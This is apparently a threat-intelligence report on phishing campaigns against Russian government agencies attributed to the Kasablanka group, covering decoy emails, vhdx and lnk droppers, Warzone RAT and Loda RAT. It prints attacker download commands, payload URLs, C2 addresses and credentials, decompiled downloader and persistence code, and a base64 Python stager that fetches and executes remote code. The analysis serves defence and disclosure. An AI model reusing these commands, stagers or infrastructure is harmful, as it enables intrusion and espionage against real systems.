奇安信威胁情报中心

ti.qianxin.com/blog/articles/Kasablanka-Group-Probably-Conducted-Compaigns-Targeting-Russia/

<u>返回 TI 主页</u> RESEARCH


数据驱动安全

Overview

APT groups often use some uncommon file types to host malicious code in order to increase the probability of immunity against antivirus software, such as CD-ROM image files (.iso) and virtual hard disk files (.vhd), which we have monitored for abuse in recent years. And the use of these two formats can effectively circumvent the MOTW mechanism (a security measure in which Windows displays a warning message when a user tries to open a file downloaded from the Internet). The effectiveness of the Lazarus group's attack campaign was evident back in November '22 when we disclosed that its attack components using the vhdx format had a detection rate of 0 on VirusTotal.

When combing through the recently uploaded vhdx files we found that from September to December 2022, Kasablanka group is suspected of attacking **Russia**, and its targets include the Russian Federal Government Cooperation Agency, the Ministry of Foreign Communications of the Astrakhan Region of Russia, etc., and **the detection rate of some samples is always 0**.

Analyzing and organizing the captured samples, the Kasablanka group used a socially engineered phishing email as the entry point for the attack, with a virtual disk image file attached, which nested a variety of next-stage payload executions including lnk files, zip packages, and executables. In the early stages of the attack the final execution was the commercial Trojan Warzone RAT, in the later stages of the attack we observed that the executed Trojan changed to Loda RAT.



Decoy File


A phishing attack against the Agency of the Government of the Russian Federation for CIS Affairs, Aliens and International Humanitarian Cooperation, or "Россотрудничество".

図 日 ち び ↑ 文件 邮件	ψ =	CPC	ОЧНО: Факс №9546/26	c - 邮件 (HTML)			?	<u>s</u> – I	n ×
♣」垃圾邮件 - 規除 删除	▲ ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●	第 新建 → · · · · · · · · · · · · · · · · · ·	 Pipe ConeNote 移动 砂操作・ 移动 	☆ 計 上 上 小 小 小 小 小 小 小 小 小 小 小 小 小 小 小 小 小	 ⑤ 繁枝简 § 简枝繁 ¹ ¹	a → 副译 → 副译 → 通 相关 → 通 相关 → 調 編 雪 相 美 → 二 二 二 一 一 相 关 → 一 二 二 一 一 相 关 → 一 二 二 二 二 二 二 二 二 二 二 二 二 二	显示比例 显示比例		^
Евг	10/28 (周五) 14:55 ений Александрови ЧНО: Факс №9546/2с	ч Примаков <	97845147@n	nail.ru>					
💼 邮件 📄 Факс М	1º95462c.vhdx (8 MB)								
Уважаемые Ко Направляем ма:	ллеги! гериалы к исх. № 95462/	2c							
Просим подтвер	рдить получение и скачи	ваемость файлов.							
 С Уважением, Примаков Евгер Руководитель Россотрудничес	ний Александрович, ство								

The translation of the phishing email content is as follows :

检測到後语 英语 中文(簡体) 徳语 V	¢	→ 中文(简体) 英语 日语 ✓			
Уважаемые Коллеги!	×	亲爱的同事们!			☆
Направляем материалы к исх. № 95462/2с		我们将材料发送给参考。编号 95462/2s			
Просим подтвердить получение и скачиваемость файлов.		请确认收到并下载文件。			
С Уважением, Примаков Евгений Александрович,		尊敬, 普里马科夫叶夫根尼亚历山德罗维奇,			
Руководитель		目至			
Россотрудничество		俄罗斯合作署			
		Qīn'ài de tóngshìmen!			
Uvazhayemyye Kollegi! Napravlyayem materialy k iskh. № 95462/2s Prosim podtver	rdit'	Wõmen jiāng cáiliào fāsòng gēi cānkāo. Biānhào 95462/2s			
polucheniye i skachivayemosť faylov. – S Uvazheniyem, Primakov Yevgeniy Aleksandrovich, Rukovoditeľ Rossotrudnichestvo		women jiang calilao rasong ger calikao. Bianilao 95462/25 展开			
			6	6	
U 4) 204 / 5,000	-	 	ιU	9	~

Phishing email attack against the Ministry of Foreign Communications of the Astrakhan Region of Russia.



The translation of the phishing email is as follows:

Доброе утро,	×	早上好,		☆
в приложении письмо о встрече с Генконсулом РК Мадиевы	м	附上一封关于会见哈萨克斯坦共和国总领事 Madiev A.E. 的信件。		
A.E.				
		真挚地,		
С уважением,		卢金诉		
Лукин В.С.		区域合作部,		
отдел регионального сотрудничества,		外交部		
Министерство внешних связей		阿斯特拉罕地区		
Астраханской области				
		414000, 阿斯特拉罕, 圣。滨海大道, 45岁		
414000, г.Астрахань, ул. Эспланадная, 45		电话 +7 (8512) 51-97-02, +7 (8512) 51-65-07,		
тел. +7 (8512) 51-97-02, +7 (8512) 51-65-07,		电子邮箱: mid-inter@astrobl.ru		
e-mail: mid-inter@astrobl.ru www.mid.astrobl.ru		www.mid.astrobl.ru		
www.mid.astrodi.ru				
Dobrove utro, v prilozhenii pis'mo o vstreche s Genkonsulom RK Madiyevym A	.Ye. S	Zǎoshang hǎo,		
uvazheniyem, Lukin V.S. otdel regional'nogo sotrudnichestva, Ministerstvo vne svyazey Astrakhanskoy oblasti 414000, g.Astrakhan', ul. Esplanadnaya, 45 tel.		fù shàng yĩ fếng guãnyú huìjiàn hãsàkè sĩtăn gònghéguó zŏnglǐngshì Madiev A xìnjiàn.	.E. De	
展开		展开		
	5.000	a))	6	1

One of the phishing email attachments uses the situation related to the Republic of Turkey in 2022 as a bait.

ТУРЕЦКАЯ РЕСПУБЛИКА Экономика. Турция - индустриально-аграрная страна. В 2021 г еночно: объем ВВП – 740 млрд долл. США, рост ВВП – 7,4 %, безработица – 11.2%, ВВП на лушу населения – 7.7 тыс. долд., внешнеторговый оборот Турецкая Республика (Турция). Имеет сухопутную границу с Грузией, 496,7 млрд долл., дефицит платежного баланса - 3,9% к ВВП, инфляции Арменией, Азербайджаном, Болгарией, Грецией, Сирией, Ираком, Ираном. 19,4%, внешний долг - более 450 млрд долл., внешний долг - 58,3% в На Черном море имеет общую границу экономической зоны ВВП. Денежная единица – турецкая лира (100 курушей). и континентального шельфа с Российской Федерацией и Украиной. Внешняя политика. Имеет дипотношения более чем со Территория - 779,4 тыс. кв. км. Располагается на азиатском (97%) 100 государствами. Является членом НАТО с 1952 г. В 2005 г. получила и европейском (3%) континентах. В административно-территориальном статус страны-кандидата на членство в ЕС, с которым имеет соглашение отношении состоит из 81 провинции. о Таможенном союзе (с 1996 г.). Столица - г.Анкара (с 1923 г.), свыше 5,5 млн жителей. Крупнейший Турция - член Организации Черноморского эконо город - Стамбул (более 15 млн жителей). сотрудничества. Участвует в программах взаимодействия черноморских Население - 84.68 млн человек. Национальный состав: турки (70%). стран в области безопасности (Документ о мерах укрепления доверия курды (18%), арабы, черкесы, армяне, греки, евреи, лазы и другие и безопасности в военно-морской области на Черном море, «Блэксифор» ародности. «Черноморская гармония»). Государственный язык - турецкий Входит в состав различных международных организаций Турция - светское государство. Господствующая религия - ислам, и объединений – «Группы двадцати», ОИС, ОЭСР, ОЭС, «Альянса еимущественно суннитского направления ханифитского толка. Существует цивилизаций» и др. В 2013 г. Турция получила статус партнера ШОС по община алавитов (определяют свою численность в 15 млн человек). диалогу. Исполнительная власть осуществляется Президентом, избираемым Внутренняя политика. На досрочных президентских и парламентски собщим голосованием сроком на 5 лет с возможностью переизбрания на выборах 24 июня 2018 г. победу с результатом 52,6% одержали Р.Т.Эрдоган второй срок. С 9 июля 2018 г. Президент - Р.Т.Эрдоган. и коалиция в составе возглавляемой им Партии справедливости и развития Законодательная власть принадлежит однопалатному парла менту и Партии националистического движения (344 из 600 мест в меджлисе). Великому национальному собранию Турции (600 депутатов). Председатель С июля 2015 г. ведется военная операция против отрядов запрещенной парламента – М.Шентоп. в стране Рабочей партии Курдистана. С 2019 г. ведется серия спецопераций Судебная система в Турции состоит из уголовно-гражданских, против курдов на севере Ирака. министративных и арбитражных судов. 15 июля 2016 г. в Турции произошла неудачная попытка военного Вооруженные силы. Общая численность - около 480 тыс. человек переворота, после которой последовала широкомасштабная «чистка» армии, (второй по величине контингент в НАТО). госаппарата, судебных органов, образовательных и иных учреждений

Attacks using articles related to Russian import substitution and migration policy in 2015 as bait.

страны.



In addition, the Kasablanka group intercepted the first page from Resolution No. 1725 published on the official website of the Government of the Russian Federation as a decoy.



ПРАВИТЕЛЬСТВО РОССИЙСКОЙ ФЕДЕРАЦИИ

ПОСТАНОВЛЕНИЕ

от 20 октября 2022 г. № 1725

MOCKBA

Об утверждении Правил предоставления права на получение отсрочки от призыва на военную службу по мобилизации гражданам Российской Федерации

Правительство Российской Федерации постановляет:

 Утвердить прилагаемые Правила предоставления права на получение отсрочки от призыва на военную службу по мобилизации гражданам Российской Федерации.

2. Настоящее постановление вступает в силу со дня его официального опубликования и распространяется на правоотношения, возникшие с 21 сентября 2022 г.

Приложение: на 14 л.

Председатель Правительства Российской Федерации

М.Мишустин УТВЕРЖДЕНЫ постановлением Правительства Российской Федерации от 20 октября 2022 г. № 1725

And the relevant content of the draft Digital Code of Kyrgyzstan was used as a bait.

<section-header><section-header><section-header><section-header><section-header><text><text><text><text><text><text><text><text><text><text><text><text></text></text></text></text></text></text></text></text></text></text></text></text></section-header></section-header></section-header></section-header></section-header>			
	<text><text><text><text><text><text></text></text></text></text></text></text>	<text><section-header><text><text><text><text></text></text></text></text></section-header></text>	 сфере арнализата бо учик дру друг, тор паркалт запядетов. Суру други други други друг друга друг друга друг други дру

Sample Analysis

The captured samples are all virtual disk image files (.vhdx suffix), and the sample decoy names and contents are in Russian and uploaded from Russian regions. Some of the samples use lnk files as downloaders for the next stage payload.

名称 ^	修	改日期		类型		大小	
System Volume Information	20	22/9/27 8:37		文件夹			
🔤 回收站	20	22/11/28 8:4	8	文件夹			
📴 480-980-1-SM.pdf	20	22/11/19 7:5	9	Microsoft E	dge	726 KB	
In International Internati	20	22/11/28 8:1	5	快捷方式		2 KB	
	<u></u> Исх №489	属性					×
	终端		详细信	恴	L)	人前的版本	
	常规	快捷方式	选项	字体	布局	う 颜色	
		Исх №489					
	目标类型:	应用程序					
	目标位置:	system3	2				
	目标(T):	.exe /c	url http://	/179.60.150.1	118/new.e	exe -o %	
	起始位置(S):						

Some attack samples package the decoy and Warzone RAT into a zip file in a virtual disk image file.

名称	<u>`</u>	修改日期	类型	大小				
System Volume In	formation	2022/9/27 8:37	文件夹					
▲ 回收站		2022/9/27 8:38	文件夹					
🚾 Постановление с	об отсрочке.rar	2022/10/26 12:39	WinRAR 压缩文件	526 KB				
	文件(F) 命令(C) I	е об отсрочке.rar (评估版 [具(S) 收藏夹(O) 选项(f) [2] 直看 重約 2016 05 отсрочке.ra	V) 帮助(H)		○ 三方 注释	(R护) 自解压格	π	
	名称	^		大小	压缩后大小	类型	修改时间	CRC3
						文件夹		
	new.exe			2,767,360	413,631	应用程序	2022/10/26 1	1F658
	00 ПП №1725.pdf			113,444	104,323	Microsoft Edge	2022/10/22 1	58B1F
	🖹 Список сотрудн	иков - 2 часть.docx		22,815	20,174	Office Open XM	2022/10/22 1	CE509

Or there is no decoy file and the lnk file is directly disguised as a folder to lure victims to click on it.

名称	修改	日期	类型	민	大小	
System Volume Information 画 回收站 詞 In-L-CPCR-7542-2022.pdf	202	2/9/27 8:37 2/9/27 8:38 2/9/27 8:26	文件			3 KB
	🧦 In-L-CPCR-7	542-2022.pc	If 属性			×
	终端		详细信息		以前的制	反本
	常规	央捷方式	选项	字体	布局	颜色
		n-L-CPCR-7	542-2022.pd	f		
	目标类型:	应用程序				
	目标位置:	system32	2			
	目标(T):	?\cmd.ex	e /c curl http	o://193.149).129.151/vms	sys
	起始位置(S):					

We have sorted out links to download the relevant payloads, as shown in the table below :

Links	Remarks
http://179.60.150.118/new.exe	Warzone RAT
http://89.22.233.149/ms7.hta	Unknown
http://193.149.129.151/vmsys	Unknown
http://45.61.137.32/www.exe	Warzone RAT
http://45.61.137.32/svvhost.rar	Loda RAT
http://45.61.137.32/Scanned_document.exe	Loda RAT

Warzone RAT

Warzone RAT, also known as AveMaria RAT, is a commercial trojan developed in pure C/C++, which has been sold publicly on the internet as a software subscription since 2018 and is compatible with systems below Windows 10, with remote desktop, password stealing, keylogging, remote commands, permission elevation, download execution and many other remote control functions. It has been used by several APT groups, including Confucius, Bitter, Blind Eagle (APT-Q-98) and other groups .

WARZONE RAT 3.0 演练和信息



This captured Warzone RAT eventually establishes a TCP connection to the server hbfyewtuvfbhsbdjhjwebfy.net (193.188.20.163).

```
19 v16 = this;
this[146] = 1;
while (1)
{
    result = v16;
    if (!v16[146])
    break;
    v11 = v16 + 1;
    v15 = v16 + 121;
    v15 = v16 + 121;
    v12 = (LPCWCH *)sub_1000B541((char *)v16 + 484, (int)v7) + 4);
    v14 = v16 + 121;
    v12 = (LPCWCH *)sub_1000B541((char *)v16 + 484, (int)v8);
    v6 = *(_DWORD *)hostshort;
    v5 = v3;
    sub_10006EB5(v12, (int)&v5);
    v10 = sub_1000AD0A((int)v11, a2, v5, v6); // 连接服务器hbfyewtuvfbhsbdjhjwebfy.net
    sub_10001703(v8);
    sub_10001703(v7);
    if (v10)
    {
    v9 = v16 + 1;
    sub_1000B523(v16 + 121);
    Sleep(v4);
    }
    return result;
    {
}
```

It has a wide variety of remote control commands, including the following functions. :

Function number	Function
0x0	Obtain information about the controlled machine
0x2	Get process list information
0x4	Get drive information
0x6	Get directory information
0x8	Retrieving files from the victim device's folder
0xA	Delete the specified file
0xC	Ends the specified process
0xE	Remote shell
0x10	Ends the specified thread
0x12	List the victim's camera device information
0x14	Turn on the camera
0x16	Stop the camera
0x18	Get the title of the active program
0x1A	Exit and delete your own files
0x1C	Downloading files to the controlled end
0x20	Get browser password
0x22	Download the file from the given URL to the controlled end and execute it
0x24	Online keylogging
0x26	Offline keylogging
0x28	Install HRDP Manager on the victim's device
0x2A	Enable reverse proxy
0x2C	Stop reverse proxy
0x30	Start remote VNC

Function number	Function
0x32	Shutting down remote VNC
0x38	Reverse proxy port settings
0x3A	Execute or open the specified file
0x48	Injection into the specified process
0x4A	Traversing to get file information
0x4C	Multiple post-command breakdowns, including shutdown, network test, exit, etc

Loda RAT

Loda RAT is a proprietary malware written in Autolt script language, first captured and disclosed in the wild by Proofpoint in September 2016, the name 'Loda' derives from the malware author's choice of directory to write keylogger logs to as Loda.Subsequently Cisco discovered multiple variants of Loda RAT and found that the RAT added spying capabilities to the Android platform. After a series of investigations, Cisco concluded that the group using the malware was based in Morocco and named the group Kasablanka (the largest city in Morocco)^[1].

Analysis of the captured sample showed that it was written in C# and obfuscated so extensively that common tools could not decompile it, and added a large amount of 00 data at the end of the PE file, swelling the entire file size to 741MB.

svvhost. ex	e 📧																					. → ₹
∓ Edit As:	Hex		Ru	n Sa	ript	Ψ.	Rur	a Tem	plat	e: B	XE. E	t v	Þ									
	0	1	2	3	4	5	6	7	8	9	A	в		D	E	F	0123456789ABCDEF					^
86:09E0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:09F0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A00h:	00	40	86	00	00	00	00	00	00	30	00	00	00	00	00	00	.@t0					
86:0A10h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A20h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A30h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A40h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A50h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A60h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A70h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A80h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A90h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0AA0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0AB0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0AC0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0AD0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0AE0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0AF0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0B00h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0B10h:						00																
86:0B20h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						×
Template Res	ults	- E)	E. bi	t																		×
						H	ane										Value	Start	Size	C	olor	
> struct IM	AGE I	00S }	ŒADE	ER Do	sHee	ider												Oh	40h	Fg:	Bg:	
> struct IM																		40h	40h	Fg:	Bg:	
> struct IM																		80h	F8h	Fg:	Bg:	
> struct IM								aders	[5]									178h	C8h	Fg:	Bg:	
> struct IM																	Nzk {'	400h	201E00h	Fg:	Bg:	
> struct IM																	text	202200h 860000h	65DE00h 800h	Fg:	Bg:	
> struct IM																	rsro	860800h	200h	Fg: Fg:	Bg: Bg:	
> struct IM																	reloc	860A00h	200h	Fg:	Bg:	
> struct IM								lescr	ipto	r							scoree. dll	202E3Ch	42h	Fg:	Bg:	
✓ struct BAS																		860A00h	Ch	Fg:	Bg:	1
> struct	IMAG	E BA	SER	ELOC	ATIO	N Ba	seRe	100										860A00h	Ch	Fg:	Bg:	2


After execution, the sample first releases and executes the Loda RAT packaged with Autolt in the %appdata% directory, and the Autolt script can be restored by using the deep analysis function of QiAnXin's Threat Intelligence Center Cloud Sandbox, and the behavior and functions of the trojan can be seen by analyzing the script.

10000000	00000011	00000012	00000073			
00000009	00000001	0000000d	00000002			 長慶信息
00000003	00000004	00000074	0000000a			
00000014	00000061	d000000b	00000034			○ 威胁情报
00000039	00000017					○ AV引擎
						○ 行为异常
AUTOIT脚本						○ 静态分析
ENDIF					*	 ·
\$IPSD="185.181.165.188"						
\$PORSD="443"						○ 主机行为
\$ARCHX=@OSARCH						○ 网络行为
\$USECC=@USERNAME \$OSVERSION=""						
LOCAL \$TODOR=FILEGETVER	STON("winver.exe")					○ 释放文件
IF STRINGLEFT(\$TODOR,2)						○ 运行截图
\$OSVERSION="WIN_10"					-	
4				+		 社区

Loda RAT first detect antivirus products installed on victim machines through WMI commands.




Followed operation is collecting some information of victim host, including permissions, operating system version, etc.



And adding persistentence by creating %appdata%\Windata\svshost.exe and NFOKQN.Ink shortcut to svshost.exe in windows startup directory.



Uploading the collected information and then takeing screenshots.



Subsequently enter the remote control loop, by processing the data returned by C2, and then correspond to the detailed remote control instructions, and its remote control instructions divided into a relatively fine function, rough statistics have 144 remote control instructions, due to the reasons of space, we will not do a detailed introduction, a general overview of its remote control functions.

• Recording

- Upload and download files
- Execute the specified file
- Shutdown
- Close the specified process
- Stealing user cookies, passwords
- Turn on keylogger
- Delete keylogger data
- Download and execute the file from the specified URL
- Get file or directory size
- Allow RDP connections by modifying the registry
- Compressing/uncompressing files
- Copy files or directories
- Enumerate connected drives
- Enumerate hot folder locations
- Detect UAC settings
- Send mouse clicks (to the left or right is a separate command)
- Capture screenshots and send to C2
- Open/close CD trays
- Recording
- Turn off Windows Firewall
- Send the name of running processes to C2
- Exit, uninstall
- Create a GUI chat window to save the victim/attacker conversation to a file

In addition, in the previous version, LodaRAT downloaded SQLite3.dll from the official Autolt website because it was needed to extract sensitive information from the browser database, but the embedded URL had been unavailable for download. So in the latest version, the Kasablanka group transcoded it directly to hex, embedded in in the script.

Funcsqlite_download_sqlite3dll(\$tempfile, \$version)
Local \$url = "http://www.autoitscript.com/autoit3/files/beta/autoit/archive/sqlite/SQLite3" & \$version
Local \$ret
If @AutoItX64 = 0 Then
<pre>\$ret = InetGet(\$url & ".dll", \$tempfile, 1)</pre>
Else
<pre>\$ret = InetGet(\$url & "_x64.dll", \$tempfile, 1)</pre>
EndIf
Local \$error = @error
<pre>FileSetTime(\$tempfile,sqlite_inline_modified(), 0)</pre>
Return SetError(\$error, 0, \$ret)
EndFunc
<pre>Funcsqlite_print(\$stext)</pre>
If \$g_sprintcallback_sqlite Then
If \$g_butf8errormsg_sqlite Then
Local <pre>\$Local \$tstr8 =sqlite_stringtoutf8struct(\$stext)</pre>
Call(\$g_sprintcallback_sqlite, DllStructGetData(\$tstr8, 1))
Else
Call(\$g_sprintcallback_sqlite, \$stext)
EndIf
EndIf
EndFunc
Func sqlx() ;SQLite3.DLL
Global \$59q = "0x"
\$s9q &= "4D5A90000300000000000000000000000000000000
\$59q &- "BD2FFDAEE644B91B937B0800F34C030000300800260E00A4FFFFFF3B0D0007A0007502F3C3E90E00281DCC558BEC57568B750C8B4D108B7D088BC1FFEFFFF8BD103C63BFE7
\$s9q &= "B9020D400D98C801F28C0E0E772E47C8C10F1E0F52100ED85B6910591060109B29C8017B46111141089707C8C3123E12E701135379843C13C201147280BC4B14149A1499460E9
\$599 &- "C988AE1391F28370F2CD6588601D48EDEDC9216E2CF523F2C988AE1302F283E1F1A37288601D8CF1F101D28DA578F1F67045D789E493F172F18539C480E451F13D2CF1881B485
\$s9q &= "180A1C3D3F9F9B1852487FF57C73EF8D44016FCE32334E4D1E53C27FD281C143F376836DE666D41FFF4E140C0A4CF65165100BBA6F6A0AEE01E870D1E35034FA9B5DDD8058B7A
\$590 &- "8885E0AAC747100188EF778D5CA13927C4270388090400C013EE42E2848C3A00888985D864BA1FA7E91504DC05EC9D082FBAD53F8561F6591229E8D831C43197687815923D41E
\$s9q &= "881398C457FC646D56FC0AF8CCD00CF6C24C74C1FAEDE1FFFF044A83FA3F76036A3F5A8B4B043B4B087542BB0280282083FF7FD7731948D3EB8D4C0204F7D3215CB844FE09752
\$590 &- "89D4A6A899BD5B7F100A7E4B8A599EA6699A4B59595707132A4DD35407FF1C13CF6D025740786622EB200E2EA4EB37784F84690E4F84EA2CCFBC32390A4CD46C327AE6B2FCF6A
\$s9q &= "580C74126823D38BC82DACC8A1E08BBC89480C2591C54EF0C04D811FC64808BB79BABB5DD12D3939530C605210ADCBA917FEE2D5FA39C41757BFE803EBEDDE8975545E1131008

Association & Attribution

In C2:193.149.129.151, we trace back to Trojan "systemI.dll", written in C# and only 8.5KB in size, whose function is to download WinScp tools to synchronize files with remote computers and set scheduled tasks to persist, making it a potential backdoor.

Classi. Shov#indow (Classi. GetConsole#indow (). 0):
string userName = Environment. UserName;
string address = "http://193.149.176.254/WinSCP.com";
string address2 = "http://193.149.176.254/WinSCP.exe":
string address3 = "http://193.149.176.254/hstart.exe":
int millisecondsTimeout = 4:
<pre>string text2 = "WinSCP.com";</pre>
string str = "WinSCP.exe":
"option batch continue",
option confirm off.
"option failonnomatch off".
"open_scp://kot:Lola@123@193.149.129.151 -hostkey=\`ssh-ed25519_255_00:90:90:eb:8b:83:eb:52:20:85:66:7f:f0:df:30:80*",
userNane,
userNane.
userNane,
"put -rawtransfersettings IgnorePermErrors=1 ExcludeHiddenFiles=1 ExcludeEmptyDirectories=1",
D: Process.GetProcesseSVNaw (text):
Process() processebyMane - Process.GetFrocessebyMane ("System32, exe");
Thoesal Sheer (5):
if (class).chekÿirtual() && processesByRame.length == ()
A trades, the structure of the processes years a construction of the structure of the struc
Thread. Sleep (nillisecondsTimeout):
using (WebClient vebClient ())
<pre>webClient.BownloadFile(address3, ^C:\\Users\\Public\\System32\\^ + text);</pre>
) uzing (WebClient vebClient()) uzing (WebClient())
vebClient2_DownloadFile(address2, "C:\\Desrs\Public\\System2\\" + str);
using (WebClient webClient3 - new WebClient()) (
<pre>webGlient3.Dewmloa@ile(address, 'C:\\Users\\Public\\System32\\' + text2);</pre>
Thread. Sleep (millisecondsTimeout):
Process.Start("CMD.exe", " /c schtasks /create /sc daily /tn \"GoogleUpdate task\" /tr \"c:\\Users\\Public\\systeml.exe\" /st 12:00");

In another C2: 179.60.150.118, we associate two files packaged by Pyinstaller, both of them are downloaders and have the same core code.

1	import socket, zlib, base64, struct, time, ctypes, platform, requests, setuptools, random, regex
2	exec(import('base64').b64decode(import('codecs').getencoder('utf-8')(
	'aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGlt2Qpmb3IgeCBpbiByYW5nZ8gxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1R8RUFN
	$\verb"KQoJCXMuY29ubmVjdCgoJzE30842Mc4xNTAuMTE4Jyw0NDMpKQoJCWJy2WFrCglleGNlcHQ6CgkJdGlt285zbGVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKqpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKqpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcCglKqpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWblockgkgVlcChQbgVN0chgVlcCgkgVlcCglKqpgVlcCgkgVlcChQbgVN0chgVlcChQbgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVlcChQbgVN0chgVN0chgVlcChQbgVN0chgVVlcChQbgVN0chgVN0chgVN0chgVN0chgVVlcChQbqVN0chgVN0chgVV0chgVN0chgVV0chgVV0chgVN0chgVV0chgVV0chgVV0chgVVVVV0chgVVV$
	z B d CmQ9 cy5y ZWN2 KGwpCn doaWxlIGxlbihkKTxs0goJZCs9 cy5y ZWN2 KGwtbGVu KGQp KQpleGVj KHpsa WIu ZGVjb21 wcmVz cyhiYXNl hjQuYjY0 ZGVjb2 Rl KGQp K3 x 7 J 3 MnOn N9 KQ La ku
	o=')[0]))

After Base64 decoding, you can clearly see that by requesting port 443 of 179.60.150.118 to get the follow-up payload to execute, and the payload is Warzone RAT or CS Trojan.

Recipe	í	i 🖬 6	Input	length: 411 lines: 1			J
From Base64 Alchabet A-Za-z0-9+/= Remove non-alphabet chars	Strict mode	⊗ II •	autua 331844VZ11.dcs.e6d11.tcs.t2017.cz.d01719268d172g64918g468g18g46687g696K66g16e-kK6g6 F06F11/USERIMPG6007W296W6/g5627E55624K.athatmat-9-Am96H05007007087mcg114e101.e0d29 BIY26.252573yzc1.n171YYHCK9H6864696y5y2M826kgEndoaks116x1b1HKTx60g072C59cy5y2M826kgEndoaks116x1b1HKTx60g072Kg78cgEndoaks116x1b1HKTx60g072Kg78cgEndoaks116x1b1HKTx60g072Kg78cgEndoaks116x1b1HKTx60g072Kg78cgFndoaks116x1HKTx60g072Kg78cgFndoaks116x1b1HKTx60g072Kg78cgFndoaks116x1b1HKTx60g072Kg78cgFndoaks116x1hHKTx60g072Kg78cgFndoaks116x1hHKTx60g072Kg78cgFndoaks116x1hHKTx60g072Kg78cgFndoaks116x1hHKTx60g072Kg78cgFndoaks116x1hHKTx60g072Kg78cgFndoaks116x1hHKTx60g072Kg78cgFndoaks116x1hHKTx60g078Kg78cgFndoaks11404HKg78cgFndoaks11404HKg78cgFndoaks11404HKg78cgFndoaks11404HKg78cgFndoaks11404HKg78cgFndoaks11404HKg78cgFndoaks11	kJdGltZS5zbGVlcC	g1KQpsPX	N0cnVjdC51b	n
			Output	time: 3ms length: 308 lines: 14		ត្ ំ ដ	
			<pre>isport socket.llb.base(s,truct,time for x in range(10): try:</pre>				
			<pre>Lstrut.umpack(')1',s.recv(4))[0] dss.recv(1) will=lnr(d)41: dss.recv(1)=nr(d)) exec(211b.decompress(base64.064decode(d)),('s':s))</pre>				

Some security vendors believe that Loda RAT is the exclusive trojan of Kasablanka group, but since Loda RAT is compiled from Autolt scripts and its source code can be obtained by decompiling it, 'false flag' activities by other threat actors using the decompiled source code are also possible.

In terms of attack motivation, we believe that the purpose of this attack is mainly for information gathering and espionage. Considering the current situation between Russia and Ukraine, intelligence spying and espionage are more in line with the motivation of nation-sponsered hacker groups, so we attribute this attack to Kasablanka group with moderate confidence.

Summary

In previous disclosures of the Kasablanka group's operations, its targets included Bangladesh, South America and the United States, and its Loda RAT includes Windows version and Android version.Now this group often uses commercial RATs in its attack activities, which not only reduces the development cost but also makes it difficult for tracing attackers' footprints.

The RedDrip team would like to remind all users not to open links of unknown origin shared by social media, not to click on email attachments from unknown sources, not to run unknown files with exaggerated titles, not to install APPs from informal sources, to back up important files in a timely manner, and to update and install patches.

If you need to run or install an application of unknown origin, you can first identify it through the QiAnXin Threat Intelligence File Deep Analysis Platform (https://sandbox.ti.qianxin.com/sandbox/page). At present, it supports deep analysis of files in various formats including Windows and Android platforms.

